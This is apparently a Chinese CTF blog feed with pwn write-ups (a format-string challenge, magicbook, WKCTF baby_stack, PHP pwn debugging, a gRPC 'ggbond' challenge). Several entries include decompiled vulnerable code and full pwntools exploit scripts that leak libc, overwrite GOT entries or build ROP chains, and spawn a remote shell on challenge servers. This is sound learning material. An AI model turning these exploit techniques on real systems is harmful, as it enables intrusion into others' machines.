  puts("Here's a simple pwn question, challenge yourself.");
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()
# _libc_stack
payload = "-%9$p-%11$p"

# ru("Please enter a keyword")
s(payload)

ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)

success(hex(libc_base))
success(hex(stack))

target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))

one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028

success(f"one_gadget ->{hex(one_gadget)}")


# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")

payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)

# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))

s(payload)


# g(p)
s(b'/bin/sh\x00')


p.interactive()

magicbook

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

size_t creat_the_book()
{
  size_t v0; // rbx
  __int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了

Read More
post @ 2024-07-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/wkctf_pwn

pwn

baby_stack

在guess number逻辑这里用格式化字符串泄露 libc地址后

__int64 wait()
{
  unsigned int v0; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);
  return introduce();
}

echo 这存在一个 off by null的溢出,有大量的leave ret的逻辑,走完这些leave ret 栈就被迁移到了buf上,由于不知道具体位置,找大量的 nop: ret的gadget写满buf,再结尾写一个system binsh的rop就好了,有可能会因为system中 xmm寄存器 rsp对齐的原因失败,多跑几次就好了

__int64 __fastcall echo(unsigned int a1)
{
  char v2[256]; // [rsp+0h] [rbp-100h] BYREF

  return echo_inner(v2, a1);
}


int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.73"
PORT = 33632

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("Press enter to continue","")


sla("Pick a number:","6")

ru("Your magic number is: ")
libc_base = int(rl()[:-1],16) - 0x3ec7e3
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x000000000003f8e8
nop_ret = libc_base + 0x000000000001b5a8




sla("How many bytes do you want to read (max 256)?","256")


payload = p64(nop_ret) * 0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 
payload = payload.ljust(256,b'\x61')

# g(p)
s(payload)


# g(p)

p.interactive()

easy_heap

Read More
post @ 2024-06-30

pwnshell 复现 (php pwn)

如何调试?

php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了

能触发io中断的函数,比如说fgetc

<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>

在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了

调试相关的命令

安装gdbserver

只需要在dockerfile里面加上安装的参数,之后构建镜像就好了

FROM php:8.3-apache

RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver

COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html
Read More
post @ 2024-06-25

ggbond

可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。

程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。

github上有一个叫pbtk的项目可以提取出elf的 protobuf结构

使用 pbtk提取 protobuf文件

./pbtk/extractors/from_binary.py pwn

提取出来的protobuf文件

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

使用grpc_tools 生成和程序交互的函数库的命令

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto
Read More
⬆︎TOP